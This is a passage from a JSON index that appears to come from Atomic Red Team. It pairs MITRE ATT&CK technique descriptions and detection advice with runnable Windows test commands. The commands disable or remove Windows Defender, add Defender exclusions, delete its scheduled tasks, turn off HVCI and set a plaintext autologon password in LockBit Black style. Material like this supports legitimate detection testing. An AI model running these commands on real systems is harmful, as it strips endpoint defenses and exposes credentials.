"d8c57eaa-497a-4a08-961e-bd5efd7c9374", - "description": "LockBit Black - Disable Privacy Settings Experience Using Registry\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "New-ItemProperty \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\OOBE\" -Name DisablePrivacyExperience -PropertyType DWord -Value 0 -Force\n", - "cleanup_command": "Remove-ItemProperty \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\OOBE\" -Name DisablePrivacyExperience -Force -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell", - "auto_generated_guid": "5e27f36d-5132-4537-b43b-413b0d5eec9a", - "description": "Lockbit Black - Use Registry Editor to turn on automatic logon\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "New-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Value Administrator -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Value contoso.com -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword -Value password1 -Force\n", - "cleanup_command": "Remove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword -Force -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Disable Windows Defender with PwSh Disable-WindowsOptionalFeature", - "auto_generated_guid": "f542ffd3-37b4-4528-837f-682874faa012", - "description": "The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. \nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.\nA successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.\nThis method will remove Defender and it's packages.\nReference: https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Disable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Gui\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Features\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-ApplicationGuard\" -NoRestart -ErrorAction Ignore", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "WMIC Tamper with Windows Defender Evade Scanning Folder", - "auto_generated_guid": "59d386fc-3a4b-41b8-850d-9e3eee24dfe4", - "description": "The following Atomic will attempt to exclude a folder within Defender leveraging WMI\nReference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "wmic.exe /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Add ExclusionPath=\\\"ATOMICREDTEAM\\\"\n", - "cleanup_command": "wmic.exe /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Remove ExclusionPath=\\\"ATOMICREDTEAM\\\"\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Delete Windows Defender Scheduled Tasks", - "auto_generated_guid": "4b841aa1-0d05-4b32-bbe7-7564346e7c76", - "description": "The following atomic test will delete the Windows Defender scheduled tasks.\n\n[Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/)\n", - "supported_platforms": [ - "windows" - ], - "dependencies": [ - { - "description": "The Windows Defender scheduled tasks must be backed up first\n", - "prereq_command": "IF EXIST \"%temp%\\Windows_Defender_Scheduled_Scan.xml\" ( EXIT 0 ) ELSE ( EXIT 1 )\n", - "get_prereq_command": "schtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" > \"%temp%\\Windows_Defender_Scheduled_Scan.xml\"\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" > \"%temp%\\Windows_Defender_Cleanup.xml\"\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" > \"%temp%\\Windows_Defender_Verification.xml\"\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" > \"%temp%\\Windows_Defender_Cache_Maintenance.xml\"\n" - } - ], - "executor": { - "command": "IF EXIST \"%temp%\\Windows_Defender_Scheduled_Scan.xml\" ( schtasks /delete /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /f )\nIF EXIST \"%temp%\\Windows_Defender_Cleanup.xml\" ( schtasks /delete /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" /f )\nIF EXIST \"%temp%\\Windows_Defender_Verification.xml\" ( schtasks /delete /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /f )\nIF EXIST \"%temp%\\Windows_Defender_Cache_Maintenance.xml\" ( schtasks /delete /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /f )\n", - "cleanup_command": "schtasks /create /xml \"%temp%\\Windows_Defender_Scheduled_Scan.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /f\nschtasks /create /xml \"%temp%\\Windows_Defender_Cleanup.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" /f\nschtasks /create /xml \"%temp%\\Windows_Defender_Verification.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /f\nschtasks /create /xml \"%temp%\\Windows_Defender_Cache_Maintenance.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /f\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Disable Hypervisor-Enforced Code Integrity (HVCI)", - "auto_generated_guid": "70bd71e6-eba4-4e00-92f7-617911dbe020", - "description": "This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity \"Enabled\" value to \"0\".\nThe pre-req needs to be ran in order to setup HVCI and have it enabled. \nWe do not recommend running this in production.\n[Black Lotus Campaign](https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/)\n[Microsoft](https://learn.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity)\n", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "HVCI must be enabled\n", - "prereq_command": "if (((cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"EnableVirtualizationBasedSecurity\" 2> nul | findstr EnableVirtualizationBasedSecurity 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"RequirePlatformSecurityFeatures\" 2> nul | findstr RequirePlatformSecurityFeatures 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"Locked\" 2> nul | findstr Locked 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" 2> nul | findstr Enabled 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Locked\" 2> nul | findstr Locked 2> nul\"))) { exit 0 } else { exit 1 }\n", - "get_prereq_command": "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"EnableVirtualizationBasedSecurity\" /t REG_DWORD /d 1 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"RequirePlatformSecurityFeatures\" /t REG_DWORD /d 1 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"Locked\" /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /t REG_DWORD /d 1 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Locked\" /t REG_DWORD /d 0 /f\n" - } - ], - "executor": { - "command": "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /t REG_DWORD /d 0 /f\n", - "cleanup_command": "reg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"EnableVirtualizationBasedSecurity\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"RequirePlatformSecurityFeatures\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"Locked\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Locked\" /f\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1601": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754", - "type": "attack-pattern", - "created": "2020-10-19T19:42:19.740Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1601", - "url": "https://attack.mitre.org/techniques/T1601" - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020." - } - ], - "modified": "2020-10-22T17:50:47.635Z", - "name": "Modify System Image", - "description": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1574": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", - "created": "2020-03-12T20:38:12.465Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574", - "url": "https://attack.mitre.org/techniques/T1574" - }, - { - "source_name": "Autoruns for Windows", - "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", - "modified": "2022-05-05T04:07:01.191Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Hijack Execution Flow", - "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Service: Service Metadata", - "Module: Module Load", - "File: File Modification", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification", - "File: File Creation", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1027.005": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", - "created": "2020-03-19T21:27:32.820Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1027.005", - "url": "https://attack.mitre.org/techniques/T1027/005" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.", - "modified": "2022-04-28T16:07:48.062Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Indicator Removal from Tools", - "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Application Log: Application Log Content" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Host intrusion prevention systems", - "Log analysis", - "Signature-based detection" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1078": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Syed Ummar Farooqh, McAfee", - "Prasad Somasamudram, McAfee", - "Sekhar Sarukkai, McAfee ", - "Jon Sternstein, Stern Security", - "Yossi Weizman, Azure Defender Research Team", - "Netskope", - "Mark Wee", - "Praetorian" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", - "created": "2017-05-31T21:31:00.645Z", - "x_mitre_version": "2.4", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1078", - "url": "https://attack.mitre.org/techniques/T1078" - }, - { - "source_name": "CISA MFA PrintNightmare", - "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a", - "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022." - }, - { - "source_name": "TechNet Credential Theft", - "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx", - "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016." - }, - { - "source_name": "TechNet Audit Policy", - "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016." - }, - { - "url": "https://capec.mitre.org/data/definitions/560.html", - "source_name": "capec", - "external_id": "CAPEC-560" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", - "modified": "2022-05-05T04:55:21.981Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Valid Accounts", - "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "User Account: User Account Authentication", - "Logon Session: Logon Session Creation", - "Logon Session: Logon Session Metadata" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_effective_permissions": [ - "User", - "Administrator" - ], - "x_mitre_defense_bypassed": [ - "Firewall", - "Anti-virus", - "Host Intrusion Prevention Systems", - "Network Intrusion Detection System", - "Application Control", - "System Access Controls" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1073": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", - "type": "attack-pattern", - "created": "2017-05-31T21:30:58.007Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1073", - "url": "https://attack.mitre.org/techniques/T1073" - }, - { - "external_id": "CAPEC-641", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/641.html" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/aa375365", - "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.", - "source_name": "MSDN Manifests" - }, - { - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", - "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.", - "source_name": "Stewart 2014" - } - ], - "modified": "2020-03-20T14:28:39.529Z", - "name": "DLL Side-Loading", - "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting", - "Anti-virus" - ] - }, - "atomic_tests": [] - }, - "T1055.012": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", - "type": "attack-pattern", - "created": "2020-01-14T17:21:54.470Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.012", - "url": "https://attack.mitre.org/techniques/T1055/012" - }, - { - "url": "http://www.autosectools.com/process-hollowing.pdf", - "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", - "source_name": "Leitch Hollowing" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "source_name": "Nviso Spoof Command Line 2020", - "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/", - "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021." - }, - { - "source_name": "Mandiant Endpoint Evading 2019", - "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode", - "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021." - } - ], - "modified": "2021-11-29T17:22:32.704Z", - "name": "Process Injection: Process Hollowing", - "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Access", - "Process: OS API Execution", - "Process: Process Modification" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1055.012" - }, - "atomic_tests": [ - { - "name": "Process Hollowing using PowerShell", - "auto_generated_guid": "562427b4-39ef-4e8c-af88-463a78e70b9c", - "description": "This test uses PowerShell to create a Hollow from a PE on 